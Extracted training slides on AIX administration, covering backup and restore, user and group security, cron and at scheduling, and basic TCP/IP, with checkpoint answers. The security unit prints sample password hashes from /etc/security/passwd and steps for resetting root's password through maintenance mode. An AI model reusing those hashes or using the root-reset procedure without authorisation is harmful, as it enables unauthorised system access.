<td></td>
<td>1</td>
<td>2</td>
</tr>
<tr>
<td>3</td>
<td>4</td>
<td>5</td>
<td>6</td>
<td>7</td>
<td>8</td>
<td>9</td>
</tr>
<tr>
<td>level 6</td>
<td>level 6</td>
<td>level 6</td>
<td>level 6</td>
<td>level 6</td>
<td>level 3</td>
<td></td>
</tr>
<tr>
<td>10</td>
<td>11</td>
<td>12</td>
<td>13</td>
<td>14</td>
<td>15</td>
<td>16</td>
</tr>
<tr>
<td>level 6</td>
<td>level 6</td>
<td>level 6</td>
<td>level 6</td>
<td>level 6</td>
<td>level 0</td>
<td></td>
</tr>
<tr>
<td>17</td>
<td>18</td>
<td>19</td>
<td>20</td>
<td>21</td>
<td>22</td>
<td>23</td>
</tr>
<tr>
<td>level 6</td>
<td>level 6</td>
<td>level 6</td>
<td>level 6</td>
<td>level 6</td>
<td>level 3</td>
<td></td>
</tr>
<tr>
<td>24</td>
<td>25</td>
<td>26</td>
<td>27</td>
<td>28</td>
<td>29</td>
<td>30</td>
</tr>
<tr>
<td>level 6</td>
<td>level 6</td>
<td>level 6</td>
<td>level 6</td>
<td>level 6</td>
<td>level 0</td>
<td></td>
</tr>
<tr>
<td>31</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Back up a file system by inode using SMIT

# smit backfilesys

Backup a Filesystem

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

This option will perform a backup by inode.

* FILESYSTEM to backup
  [ ] +/

* Backup DEVICE
  [/dev/fd0] +/

Backup LEVEL (0 for a full backup)
  [0] #

RECORD backup in /etc/dumpdates?
  no +

* Backup extended attributes?
  yes +

* Backup EFS attributes?
  yes +

F1=Help     F2=Refresh     F3=Cancel     F4=List
F5=Reset     F6=Command     F7=Edit      F8=Image
F9=Shell     F10=Exit       Enter=Do

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restore command (1 of 2)

• List files on media (verify the backup):
  restore -T [-q] [-v] [-f device]

  # restore -Tvff /dev/rmt0

• Restore individual files:
  restore -x [-q] [-v] [-f device] [file1 file2 ..]

  # restore -xvff /dev/rmt0/home/mike/manual/chap1

• Restore complete file system:
  restore -r [-q] [-v] [-f device]
  Restore backups in order, that is, -0 then -1 and so forth

  # restore -rqqvf /dev/rmt0
**restore command (2 of 2)**

- Restores the file attributes without restoring the file contents:

  ```
  restore -P string [-q] [-v] [-f device] [file1 file2 ...]
  ```

  *string* can be:

  - A  Restore all attributes
  - a  Restore only the permissions of the file
  - o  Restore only the ownership of the file
  - t  Restore only the timestamp of the file
  - c  Restore only the ACL attributes of the file

- To restore only the permissions of the file `/etc/passwd` from the archive:

  ```
  # restore -Pa -vf /dev/rmt0 ./etc/passwd
  ```

- To display only the permissions of the file `/etc/passwd` on the archive:

  ```
  # restore -Ta -vf /dev/rmt0 ./etc/passwd
  ```
Restore a File or Directory

# smit restfile

[Entry Fields]
* Restore DEVICE
  [/dev/fd0] +/
* Target DIRECTORY
  [.] /
FILE or DIRECTORY to restore
(Leave blank to restore entire archive.)
VERBOSE output?
  no +
Number of BLOCKS to read in a single input
  [] #
operation
Restore Extended Attributes?
  yes +

F1=Help      F2=Refresh      F3=Cancel      F4=List
F5=Reset     F6=Command      F7=Edit       F8=Image
F9=Shell     F10=Exit        Enter=Do
Exercise 13: Using backup and restore (parts 2, 3 and 4)

- Part 2 - Prepare the file system for backup/restore
- Part 3 - Backup and restore by inode (file system)
- Part 4 - Backup and restore by name
Other UNIX backup commands

• **tar** (tape archive)
  – Widely available
  – Good for transfer of data between platforms

• **cpio** (copy input to output)
  – Widely available
  – Difficulties can occur with many symbolic links

• **dd** (device to device)
  – Makes backup copies that are an exact image
  – Can also be used for conversions
    • For example: can convert ASCII to EBCDIC
The `tar` command

- Generate a `tar` backup:
  ```
  # tar -cvf /dev/rmt0.3 /home
  ```

- Restore a file from a `tar` image:
  ```
  # tar -xvf /dev/rmt0 /home/team01/mydir
  ```

- List (verify) content of a `tar` file:
  ```
  # tar -tvf /dev/rmt0
  ```
The `cpio` command

- Generate a `cpio` backup:

  ```bash
  # find   /home | cpio -ov> /dev/rmt0
  ```

- Restore from a `cpio` image:

  ```bash
  # cpio -idv </dev/rmt0
  ```

- List (verify) the contents of a `cpio` image:

  ```bash
  # cpio -itv < /dev/rmt0
  ```
The `dd` command

- The `dd` command converts and copies files

- To copy a file to diskette
  ```
  # dd if=/etc/inittab of=/dev/rfd0
  ```

- To convert a file from ASCII to EBCDIC
  ```
  # dd if=text.ascii of=text.ebcdic conv=ebcdic
  ```

- To convert data to uppercase characters
  ```
  # cat lcase.data | dd conv=ucase
  ```
Controlling the tape

tctl

- rewind Rewinds a tape
- fsf Fast forwards a tape
- offline Ejects a tape
- rewoffl Rewinds and ejects a tape

# tctl -f /dev/rmt0 rewind
# tctl -f /dev/rmt0.1 fsf 3
# tctl -f /dev/rmt0 rewoffl

restore -s

# restore -s 4 -xvf /dev/rmt0.1 ./etc/inittab
Good practices

• Verify your backups
• Check the tape device
• Keep old backups
• Offsite secure storage
• Label tape
• Test recovery procedures before you have to!
Checkpoint

1. What is the difference between the following two commands?
   a) `find /home/fred | backup -ivf /dev/rmt0`
   b) `cd /home/fred; find . | backup -ivf /dev/rmt0`

       • On a `mksysb` tape, if you entered `tctl rewind` and then `tctl` `-f/dev/rmt0.1 fsf 3`, which element on the tape could you look at?

       • Which command could you use to restore these files?

6. True or False? `smit mksysb` backs up all file systems, provided they are mounted.
1. What is the difference between the following two commands?
   a) `find /home/fred | backup -ivf /dev/rmt0`
   b) `cd /home/fred; find . | backup -ivf /dev/rmt0`
   (a) backs up the files using the full path names, whereas
   (b) backs up the file names using the relative path names.
   So (b)’s files can be restored into any directory.

   - On a `mksysb` tape, if you entered `tctl rewind` and then `tctl -f /dev/rmt0.1 fsf 3`, which element on the tape could you look at?
     You would be at the start of the backed up images of the files, having skipped over the boot portion of the tape.

   - Which command could you use to restore these files? The files were backed up using the `backup` command so you would have to use the `restore` command.

6. True or False? `smit mksysb` backs up all file systems, provided they are mounted. `mksysb` only backs up `rootvg` file systems. To back up other volume groups, you must use the `savevg` command.
Exercise 14: (optional) Using `tar` and `cpio`

- Using `tar`
- Using `cpio`
In order to perform successful backups, consideration must be given to the frequency of the backup, the media to be used and the type of backup.

Backups can be initiated on a single file, a file system or an entire volume group, all of which are supported through SMIT.

By modifying the `bosinst.data` and the `image.data` files, a customized system image backup can be created.

There are many other UNIX backup commands which can be used, however their limitations must be fully understood. The commands include: `tar`, `cpio` and `dd`.

Other useful commands also exist to manipulate the data on the backup media such as `tctl`.
Unit 14
Security and user administration
Unit objectives

After completing this unit, you should be able to:
• Define the concepts of users and groups, and explain how and when these should be allocated on the system
• Describe ways of controlling root access on the system
• Explain the uses of SUID, SGID, and SVTX permission bits
• Administer user accounts and groups
• Identify the data files associated with users and security
User accounts

- Each user has a unique name, numeric ID, and password
- File ownership is determined by a numeric user ID
- The owner is usually the user who created the file, but ownership can be transferred by root
- Default users:
  - root Superuser
  - adm, sys, bin, ... IDs that own system files but cannot be used for login
Groups

- A group is a set of users, all of whom need access to a given set of files.

- Every user is a member of at least one group and can be a member of several groups.

- The user has access to a file if any group in the user’s groupset provides access. To list the groupset, use the `groups` command.

- The user's real group ID is used for file ownership on creation. To change the real group ID, use the `newgrp` command.

- Default groups:
  - System administrators: `system`
  - Ordinary users: `staff`
Group hierarchy

- system
- adm
- shutdown
- printq
- security
- audit
- staff

Rights to administrative functions

Ordinary user
To protect important users and groups from members of the security group, AIX has admin users and admin groups.

Only root can add, remove, or change an admin user or admin group.

Any user on the system can be defined as an admin user regardless of the group they are in.
Controlling access to the root account

- Restrict access to privileged logins
- root's passwords should be changed on an unannounced schedule by the system administrator
- Assign different root passwords to different machines
- System administrators should always login as themselves first and then su to root instead of logging in as root. This helps provide an audit trail for root usage
- Do not include unsecured directories in root's PATH
Security logs

- `/var/adm/sulog`: Audit trail of `su` activity
- `/var/adm/wtmp`: Log of successful logins
- `/etc/utmp`: List of users currently logged in
- `/etc/security/failedlogin`: Information on failed login attempts
## File/Directory permissions

<table>
<thead>
<tr>
<th>File</th>
<th>Perm. Bit</th>
<th>Directory</th>
</tr>
</thead>
<tbody>
<tr>
<td>Read content of file</td>
<td>r</td>
<td>List content of directory</td>
</tr>
<tr>
<td>Modify content of file</td>
<td>w</td>
<td>Create and remove files in directory</td>
</tr>
<tr>
<td>Use file name to execute as a command</td>
<td>x</td>
<td>Give access to directory</td>
</tr>
<tr>
<td>Run program with effective UID of owner</td>
<td>SUID</td>
<td>--</td>
</tr>
<tr>
<td>Run program with effective GID of group</td>
<td>SGID</td>
<td>Files created in directory inherit the same group as</td>
</tr>
<tr>
<td></td>
<td></td>
<td>the directory</td>
</tr>
<tr>
<td></td>
<td>SVTX</td>
<td>Must be owner of files to delete files from directory</td>
</tr>
</tbody>
</table>
Reading permissions

<table>
<thead>
<tr>
<th>owner</th>
<th>group</th>
<th>other</th>
</tr>
</thead>
<tbody>
<tr>
<td>r</td>
<td>r</td>
<td>r</td>
</tr>
<tr>
<td>w</td>
<td>w</td>
<td>w</td>
</tr>
<tr>
<td>x</td>
<td>x</td>
<td>x</td>
</tr>
<tr>
<td>S</td>
<td>S</td>
<td>t</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th></th>
<th>SUID only</th>
<th>SUID + x</th>
<th>SGID only</th>
<th>SGID + x</th>
<th>sticky bit only</th>
<th>sticky bit + x</th>
</tr>
</thead>
<tbody>
<tr>
<td>SUID only</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SUID + x</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SGID only</td>
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<td></td>
</tr>
<tr>
<td>SGID + x</td>
<td></td>
<td></td>
<td></td>
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<td></td>
<td></td>
</tr>
<tr>
<td>sticky bit only</td>
<td></td>
<td></td>
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<td></td>
<td></td>
</tr>
<tr>
<td>sticky bit + x</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

```
# ls -ld /usr/bin/passwd /usr/bin/crontab /tmp

-r-sr-xr-x root security ... /usr/bin/passwd
-r-sr-sr-x root cron ... /usr/bin/crontab
drwxrwxrwt bin bin ... /tmp
```
Changing permissions

# chmod 4777 file1
# chmod 2777 file1
# chmod 1777 dir1

OR

# chmod u+s file1
# chmod g+s file1
# chmod +t dir1
umask

- The **umask** governs permissions on new files and directories
- System default **umask** is 022
- A **umask** of 027 is recommended
- If the **umask** value is set to 022, then any ordinary files or directories created inherit the following permissions:
  - Ordinary file: `rw-r--r--`
  - Directory: `rwxr-xr-x`
- `/etc/security/user` specifies default and individual user **umask** values
Changing ownership

The `chown` command:

```
# chown fred file1
```

The `chgrp` command:

```
# chgrp staff file1
```

Changing both user and group ownership:

```
# chown fred:staff file1
# chown fred.staff file1
```
Role based access control (RBAC)

- Fine grained delegation of authority
  - Roles assigned as an attribute of the user or group
- Legacy RBAC (AIX V4.2+):
  - User space implementation
  - Role assignment alone was insufficient
- Enhanced RBAC (AIX 6.1):
  - Covers user and kernel space
  - Effective role assignment without additional configuration
  - AIX 6.1 SP1 provides 10 predefined roles
- User can activate/inactivate roles as needed
  - Create subshell with role in effect:
    
    $ swrole SysBoot
Predefined enhanced RBAC roles

- isso - Information System Security Officer
- sa - System Administrator
- so – System Operator
- AccountAdmin - User and Group Account Administration
- BackupRestore - Backup and Restore Administration
- DomainAdmin - Remote Domain Administration
- FSAdmin - File System Administration
- SecPolicy - Security Policy Administration
- SysBoot - System Boot Administration
- SysConfig - System Configuration
Exercise 15: Security files

- Security control files
- SUID and sticky bit
Login sequence

Invalid

Log entry in: /etc/security/failedlogin

User enters login name

User enters password

Verify user name and password

Valid

Setup environment

Display /etc/motd?

shell

/ etc / profile
$HOME/.profile

getty

login

Started by init
port settings in ODM

Settings in:
/etc/security/login.cfg

/ etc / passwd
/etc/security/passwd

/ etc / environment
/etc/security/environ
/etc/security/limits
/etc/security/user

$HOME/.hushlogin
User initialization process

LOGIN

/etc/environment

Establishes base environment
sets PATH, TZ, LANG, and NLSPATH

/etc/profile

Shell script run at all logins
sets TERM, MAILMSG, and MAIL

$HOME/.profile

User's personal file to customize their environment
PATH, ENV, PS1

$HOME/.kshrc

User's personal file to customize the Korn shell environment
set -o vi, alias
Security and users

# smit security

Security & Users

Move cursor to desired item and press Enter.
Users
Groups
Passwords
Login Controls
Roles
PKI
LDAP
Role Based Access Control (RBAC)
Trusted Execution

F1=Help   F2=Refresh   F3=Cancel   F8=Image
F9=Shell   F10=Exit   Enter=Do
# smit users

Move cursor to desired item and press Enter.

Add a User
Change a User's Password
Change / Show Characteristics of a User
Lock / Unlock a User's Account
Reset User's Failed Login Count
Remove a User
List All Users

F1=Help    F2=Refresh    F3=Cancel    F8=Image
F9=Shell    F10=Exit     Enter=Do
List all users

The `lsuser` command:

```
lsuser [-c | -f] [-a attribute …] {ALL | username …}
```

Example:

```
# lsuser -a id home ALL
root id=0 home=/
daemon id=1 home=/etc
bin id=2 home=/bin
...
john id=200 home=/home/john
...
```
Add a user to the system

# smit mkuser

Add a User

... [Entry Fields]

* User NAME [ ]
User ID [ ] #
ADMINISTRATIVE USER? false +
Primary GROUP [ ] +
Group SET [ ] +
ADMINISTRATIVE GROUPS [ ] +
ROLES [ ] +
Another user can SU TO USER? true +
SU GROUPS [ALL] +
HOME directory [ ]
Initial PROGRAM [ ]
User INFORMATION [ ]
EXPIRATION date (MMDDhhmmyy) [0]
Is this user ACCOUNT LOCKED? false +

[MORE ...37]
...

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Change / Show Characteristics of a User

# smit chuser

[Entry Fields]

* User NAME: george
User ID: [206] #
ADMINISTRATIVE USER?: false +
Primary GROUP: [staff ] +
Group SET: [staff,security] +
ADMINISTRATIVE GROUPS: [ ] +
ROLES: [ ] +
Another user can SU TO USER?: true +
SU GROUPS: [ALL] +
HOME directory: [/home/george ]
Initial PROGRAM: [/usr/bin/ksh ]
User INFORMATION: [ ]
EXPIRATION date (MMDDhhmmyy): [0]
Is this user ACCOUNT LOCKED?: false +

[MORE ...37]
Remove a user from the system

• The `rmuser` command or SMIT can be used to delete a user from the system.

```bash
# rmuser -p team01
```

• When you remove a user, that user’s home directory is not deleted. Therefore, you must remember to manually `clean up` the directories of users you remove. (Remember to backup important files first!)

```bash
# rm -r /home/team01
```
Passwords

- A new user ID cannot be used until a password is assigned.
- There are two commands available for making password changes:

  ```
  # passwd [username]
  # pwdadm username
  ```

- SMIT invokes the `passwd` command.
- An ordinary user can use the `passwd` command to change own password.
- Only `root` or member of `security` group can change password of another user.
Regaining root's password

- Boot from CD-ROM, NIM, or a bootable tape
- Select option 3: Start Maintenance Mode for System Recovery from the Installation and Maintenance menu
- Follow the options to activate the root volume group and obtain a shell
- Once a shell is available, execute the passwd command to change root's password
- Enter the following command: 
  `# sync ; sync`
- Reboot the system
SMIT groups

# smit groups

Groups

Move cursor to desired item and press Enter.

List All Groups
Add a Group
Change / Show Characteristics of a Group
Remove a Group

F1=Help    F2=Refresh    F3=Cancel    F8=Image
F9=Shell   F10=Exit     Enter=Do

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List all groups

The `lsgroup` command:

```bash
lsgroup [-c | -f] [-a attribute ...] {ALL | groupname ...}
```

Example:

```bash
# lsgroup ALL
system id=0 admin=true users=root,test2 registry=compat
staff id=1 admin=false users=ipsec,team01,team02,team03,
  team04,team05,test1,daemon registry=compat
bin id=2 admin=true users=root,bin registry=compat
sys id=3 admin=true users=root,bin,sys registry=compat
adm id=4 admin=true users=bin,adm registry=compat
uucp id=5 admin=true users=uucp,nuucp registry=compat
...
ipsec id=200 admin=false users= registry=compat
```
# add a group

## Type or select values in entry fields.
Press Enter AFTER making all desired changes.

<table>
<thead>
<tr>
<th>Entry Fields</th>
</tr>
</thead>
<tbody>
<tr>
<td>* Group NAME</td>
</tr>
<tr>
<td>ADMINISTRATIVE group?</td>
</tr>
<tr>
<td>Group ID</td>
</tr>
<tr>
<td>USER list</td>
</tr>
<tr>
<td>ADMINISTRATOR list</td>
</tr>
<tr>
<td>Projects</td>
</tr>
<tr>
<td>Initial Keystore Mode</td>
</tr>
<tr>
<td>Keystore Encryption Algorithm</td>
</tr>
<tr>
<td>Keystore Access</td>
</tr>
</tbody>
</table>

F1=Help F2=Refresh F3=Cancel F4=List
F5=Reset F6=Command F7=Edit F8=Image
F9=Shell F10=Exit Enter=Do
Change / remove groups

# smit chgroup

Change Group Attributes

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

Group NAME: Support
Group ID: 300
ADMINISTRATIVE group?: False
USER list: fred, barney, wilma
ADMINISTRATOR list: fred
Projects: []
Initial Keystore Mode: []
Keystore Encryption Algorithm: []
Keystore Access: []

F1=Help          F2=Refresh    F3=Cancel    F4=List
F5=Reset         F6=Command    F7=Edit      F8=Image
F9=Shell         F10=Exit      Enter=Do
Message of the day

• The file /etc/motd contains text that is displayed every time a user logs in

• This file should only contain information necessary for the users to see

• If the $HOME/.hushlogin file exists in a user's home directory, then the contents of the /etc/motd file are not displayed to that user
Exercise 16: User administration (parts 1-5)

- Part 1 - User administration
- Part 2 - Group administration
- Part 3 - Customizing the default .profile file
- Part 4 - Removing users
- Part 5 - Communicating with users
Security files

- /etc/passwd: Valid users (not passwords)
- /etc/group: Valid groups
- /etc/security: Directory not accessible to normal users
- /etc/security/passwd: User passwords
- /etc/security/user: User attributes, password restrictions
- /etc/security/group: Group attributes
- /etc/security/limits: User limits
- /etc/security/environ: User environment settings
- /etc/security/login.cfg: Login settings
# cat /etc/passwd

root:!0:0::/usr/bin/ksh
daemon:!1:1::/etc:
bin:!2:2::bin:
sys:!3:3::/usr/sys:
adm:!4:4::/var/adm:
uucp:!5:5::/usr/lib/uucp:
guest:!100:100::/home/guest:
nobody:!4294967294:4294967294:::
lpd:!9:4294967294::
lp:*:11:11::/var/spool/lp:/bin/false
invscout:*:6:12::/var/adm/invscout:/usr/bin/ksh
snapp:*:200:13:snapp login user:/usr/sbin/snapp:/usr/sbin/snappd
nuucp:*:7:5:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico
ipsec:*:201:1::etc/ipsec:/usr/bin/ksh
esaadmin:*:811:0::/home/esaadmin:/usr/bin/ksh
john:!200:0:x7560 5th floor:/home/john:/usr/bin/ksh
bill:*:201:1::/home/bill:/usr/bin/ksh


/etc/security/passwd file

# cat /etc/security/passwd

root:

    password = 92t.mzJBjlfbY
    lastupdate = 885485990
    flags =

daemon:

    password = *

bin:

    password = *

...

john:

    password = q/gD6q.ss21x.
    lastupdate = 884801337
    flags = ADMCHG,ADMIN,NOCHECK
# cat /etc/security/user

default:
    admin = false
    login = true
    su = true
    daemon = true
    rlogin = true
    sugroups = ALL
    admgroups =
    ttys = ALL
    auth1 = SYSTEM
    auth2 = NONE
    tpath = nosak
    umask = 022
    expires = 0

...
```python
default
...

SYSTEM = "compat"
logintimes =
pwdwarntime = 0
account_locked = false
loginretries = 0
histexpire = 0
histsize = 0
minage = 0
maxage = 0
maxexpired = -1
minalpha = 0
minother = 0
minlen = 0
mindiff = 0
maxrepeats = 8
dictionlist =
pwdchecks =
```
Group files

```bash
# more /etc/group

system:!:0:root,john
staff:!:john
bin:!:2:root,bin
sys:!:3:root,bin,sys
...
usr:!:100:guest
accounts:!:200:john
...

# more /etc/security/group

system:              admin=true
staff:               admin=false
accounts:            admin=false
                       adms=john
                       projects=system
```
default:
    herald = "Authorized use only.\n\n rlogin:"
    logintimes =
    logindisable = 0
    logininterval = 0
    loginreenable = 0
    logindelay = 0
    pwdprompt = "Password: "
    usernameecho = false
Validating the user environment

- **pwdck** verifies the validity of local authentication information:
  - `pwdck {-n|-p|-t|-y} {ALL | username}`
  - Verifies that `/etc/passwd` and `/etc/security/passwd` are consistent with each other and with `/etc/security/login.cfg` and `/etc/security/user`

- **usrck** verifies the validity of a user definition:
  - `usrck {-l|-b|-n|-p|-t|-y} {ALL | username}`
  - Checks each user name in `/etc/passwd`, `/etc/security/user`, `/etc/security/limits` and `/etc/security/passwd`
  - Checks are made to ensure that each has an entry in `/etc/group` and `/etc/security/group`

- **grpck** verifies the validity of a group:
  - `grpck {-n|-p|-t|-y} {ALL | groupname }`
  - Verifies that the files `/etc/passwd`, `/etc/security/user`, `/etc/group` and `/etc/security/group` are consistent
Documenting security policy and setup

- Identify the different types of users and what data they will need to access
- Organize groups around the type of work that is to be done
- Organize ownership of data to fit with the group structure
- Set SVTX on shared directories
- Remember that UNIX/AIX has no concept of application ownership
• What are the benefits of using the `su` command to switch user to `root` over logging in as `root`?

• Why is a umask of 027 recommended?

• As a member of the `security` group, which password command would you use?

• Which password change command does SMIT use?

13. True or False? When you delete a user from the system, all the user's files and directories are also deleted.
What are the benefits of using the `su` command to switch user to root over logging in as root?

A log (which can be monitored) of all users executing the `su` command is kept in the `sulog`.

Why is a `umask` of 027 recommended?

This value removes all permission bits for the “others” category, which enhances security.

As a member of the `security` group, which password command would you use?

`pwdadm` (This command does not prompt for the root password or the old password of the user whose password is being changed.)

Which password change command does SMIT use?

`passwd`

True or False? When you delete a user from the system, all the user's files and directories are also deleted.
1. If an ordinary user forgets their password, can the system administrator find out by querying the system as to what the user's password was set to? _______ Why? ___________________

2. Password restrictions are set in which of the following files?
   • /etc/passwd
   • /etc/security/passwd
   • /etc/security/restrictions
   • /etc/security/user

3. Which of the following statements are true?
   • A user can only belong to one group
   • A member of the **security** group can administer user accounts
   • An admin user is a user whose account cannot be administered by any member of the **security** group (except **root**)
   • The `chmod g+s` command sets the SUID permission of a file
   • The **root** user, commonly known as the superuser has UID=0 and GID=0
Checkpoint solutions (2 of 2)

1. If an ordinary user forgets their password, can the system administrator find out by querying the system as to what the user's password was set to? No, because the passwords are held in encrypted format, so even the system administrator cannot tell what the password was set to.

2. Password restrictions are set in which of the following files?
   - /etc/passwd
   - /etc/security/passwd
   - /etc/security/restrictions
   - /etc/security/user

3. Which of the following statements are true?
   - A user can only belong to one group
   - A member of the security group can administer user accounts
   - An admin user is a user whose account cannot be administered by any member of the security group (except root)
   - The chmod g+s command sets the SUID permission of a file
   - The root user, commonly known as the superuser has UID=0 and GID=0
Exercise 16: User administration (parts 6-7)

- Part 6 - Examine the security set up
- Part 7 - Customizing the login herald
Unit summary

- User and groups can be added and deleted from the system by using SMIT or by using high level commands.
- Passwords must be set for all users using either pwdadm or passwd.
- Administrative users and groups can only be administered by root.
- Every user must be in at least one group.
- Certain groups give users additional privileges.
- Security files are located in ASCII text files in the /etc and /etc/security directories.
Unit 15
Scheduling
Unit objectives

After completing this unit, you should be able to:

• Use **crontab** files to schedule jobs on a periodic basis
• Use the **at** command to schedule a job or series of jobs at some time in the future
• Use the **batch** command to schedule jobs in a queue to alleviate immediate system demand
The `cron` daemon

- Responsible for running scheduled jobs
- Starts:
  - `crontab` command events
    (regularly scheduled jobs)
  - `at` command events
    (one time only execution at specified time)
  - `batch` command events
    (run when CPU load is low)
crontab files

• Used to start regularly occurring jobs

• Schedule is defined in:
  
  /var/spool/cron/crontabs/$USER

• Files to control crontab privileges of users:
  
  – /var/adm/cron/cron.deny lists users who cannot use crontab
  
  – /var/adm/cron/cron.allow lists users who can use crontab

• An empty cron.deny exists by default
Format of a crontab file

To view current `crontab`:

```
# crontab -l
```

...  

```
#0  3 * * * /usr/sbin/skulker
#45 2 * * 0 /usr/lib/spell/compress
...  
0 11 * * * /usr/bin/errclear -d S,O 30
0 12 * * * /usr/bin/errclear -d H 90
0 15 * * * /usr/lib/ras/dumpcheck >/dev/null 2>&1
...  
```

Format of entries:

minute hour date-of-month month day-of-week command
Editing a crontab file

• One way to edit a `crontab` file:

  # crontab -e

• A safer method:

  # crontab -l > /tmp/crontmp
  # vi /tmp/crontmp
  # crontab /tmp/crontmp
The `at` and `batch` commands

- The `at` command submits a uniquely occurring job to be run by `cron` at a specified time:

  ```
  # at now +2 mins
  banner hello > /dev/pts/0
  <ctrl-d>
  job user.time.a will be run at date
  ```

- The `batch` command submits a job to be run when the processor load is sufficiently low:

  ```
  # batch
  banner hello > /dev/pts/0
  <ctrl-d>
  ```
Controlling `at` jobs

- **To list at jobs:**
  
  ```
  at -l [user]
atq [user]
  ```

  ```
  # at -l
  root.1118077769.a       Mon Jun  6 10:09:29 2007
  test2.1118079063.a      Mon Jun  6 10:31:03 2007
  ```

- **To cancel an `at` job:**
  
  ```
  at -r job
  atrm [job | user]
  ```

  ```
  # at -r test2.1118079063.a
  at file: test2.1118079063.a deleted
  ```

- **To cancel all your `at` jobs:**
  
  ```
  atrm -
  ```
Documenting scheduling

- Have a copy of each user's `crontab` file
- Have a copy of the `/etc/inittab` file
True or False? The `at.allow` and `at.deny` files must be used to specify which users are allowed and denied use of the `at` command.

Give a `crontab` entry that would specify that a job should run every Thursday at 10 past and 30 minutes past every hour.

How would you schedule a script named `myscript`, to run 10 minutes from now?
1. True or False? The \texttt{at.allow} and \texttt{at.deny} files must be used to specify which users are allowed and denied use of the \texttt{at} command.

\textbf{False. Only one or the other of these files should be used.}

• Give a \texttt{crontab} entry that would specify that a job should run every Thursday at 10 past and 30 minutes past every hour.

\texttt{10,30 * * * 4 <job>}

• How would you schedule the script named \texttt{myscript}, to run 10 minutes from now?

\begin{verbatim}
# at now + 10 minutes
myscript
^d
#
\end{verbatim}
Exercise 17: Scheduling

- Using `at`
- Using `batch`
- Using `crontab` files
Unit summary

- The **cron daemon** is responsible for running scheduled jobs.

- The **crontab files** are used to schedule recurring jobs.

- The **at command** is used to schedule a command for one time only execution.

- The **batch command** is used to submit a job to be run when the processor load is sufficiently low.
Unit 17
Networking overview
Unit objectives

After completing this unit, you should be able to:
- Define the basic TCP/IP terminology
- Configure TCP/IP for an Ethernet or Token-Ring connection
- Use some of the standard TCP/IP facilities to:
  - Log in to another system
  - Transfer files
  - Run commands
What is TCP/IP?

- **Transmission Control Protocol/Internet Protocol**
- Software to enable different systems to exchange data over a variety of types of network
- The way in which systems are connected and how data is passed between them is transparent to the user
- TCP/IP is vendor-independent; development is overseen by the Internet Architecture Board
An Internet

- A TCP/IP network is often called an *Internet*.

- Individual machines are called *hosts*
- Hosts may vary in size and functionality but have equal standing as far as TCP/IP is concerned
- Hosts which link two or more physical network segments to each other are called *gateways*
Names and addresses

• Each system in a TCP/IP network is given a name:
  – For example: sys3

• When contacting another system you only need to know the name:
  – For example: $ telnet sys3

• When contacting another user you need to know the system and user name:
  – For example: $ mail fred@sys3

• Each system has one or more TCP/IP addresses:
  – For example: 10.0.0.3

• If you know the address, but not the name, you can use some TCP/IP facilities with the address
TCP/IP network facilities

- Standard TCP/IP facilities include: mail, file transfer, remote login, remote execution, and remote printing
- A number of AIX applications use TCP/IP:
  - Network File System (NFS)
  - Network Information Services (NIS)
  - Domain Name Service (DNS)
  - Dynamic Host Configuration Protocol (DHCP)
  - Network Computing System (NCS)
  - Distributed Computing Environment (DCE)
  - X Windows and AIXWindows
  - Tivoli Netview for AIX
Information needed to configure TCP/IP

• Address:
  – Each adapter is given a unique TCP/IP address and often a subnet mask
  – These are usually assigned by your network administrator

• Name:
  – Each machine has a unique hostname
  – Each machine must have access to a table of name to address translations, which can be either:
    • /etc/hosts file
    • Domain Name Server - You must know:
      – Domain Name
      – Address of the Name Server

• Routes:
  – In order to communicate with systems in other networks, you may need to find the address of the default gateway
Configuring TCP/IP

# smit mktcpi

Minimum Configuration & Startup

To Delete existing configuration data, please use Further Configuration menus

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]

* HOSTNAME                                      [sys1]
* Internet ADDRESS (dotted decimal)             [10.0.0.1]
  Network MASK (dotted decimal)                 [255.255.255.0]
* Network INTERFACE                             en0

NAME SERVER
  Internet ADDRESS (dotted decimal)             []
  DOMAIN Name                                   []

Default Gateway
  Address (dotted decimal or symbolic name)     [10.0.0.192]
  Cost                                         [0]    #
  Do Active Dead Gateway Detection?             no    +

Your CABLE Type                                N/A    +
START TCP/IP daemons Now                       no    +

F1=Help                                             F2=Refresh          F3=Cancel          F4=List
Esc+5=Reset                                      Esc+6=Command        Esc+7=Edit          Esc+8=Image
Esc+9=Shell                                      Esc+0=Exit           Enter=Do

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# more /etc/hosts

# The format of this file is:
# Internet Address    Hostname    # Comments
# Items are separated by any number of blanks and/or tabs. A '#'
# indicates the beginning of a comment; characters up to the end
# of the line are not interpreted by routines which search this
# file. Blank lines are allowed.

<table>
<thead>
<tr>
<th>Internet Address</th>
<th>Hostname</th>
<th>Comments</th>
</tr>
</thead>
<tbody>
<tr>
<td>127.0.0.1</td>
<td>loopback</td>
<td>localhost</td>
</tr>
<tr>
<td>10.0.0.1</td>
<td>sys1</td>
<td>timeserver</td>
</tr>
<tr>
<td>10.0.0.2</td>
<td>sys2</td>
<td></td>
</tr>
<tr>
<td>10.0.0.3</td>
<td>sys3</td>
<td></td>
</tr>
<tr>
<td>10.0.0.4</td>
<td>sys4</td>
<td></td>
</tr>
</tbody>
</table>
Identifying the hostname

• **hostname** command:
  - Example:

    ```bash
    # hostname
    sys3
    ```

• **host** command:
  - Examples:

    ```bash
    # host  sys3
    sys3 is 10.0.0.3, Aliases: sys3.washington.ibm.com

    # host  10.0.0.3
    sys3 is 10.0.0.3, Aliases: sys3.washington.ibm.com
    ```
Basic TCP/IP user functions

- The following commands work with any TCP/IP system (not just UNIX/AIX):
  - Test connectivity: ping
  - Remote execution: rexec
  - File transfer: ftp
  - Remote login: telnet
Checkpoint

1. What are the following commands used for?
   - `ftp` ____________________________________________
   - `rexec` _________________________________________
   - `telnet` _________________________________________
   - What is the difference (if any) between a host and a gateway?
     ________________________________________________
     ________________________________________________
     ________________________________________________

3. True or false? Each machine in a TCP/IP network must have a unique hostname and TCP/IP address.
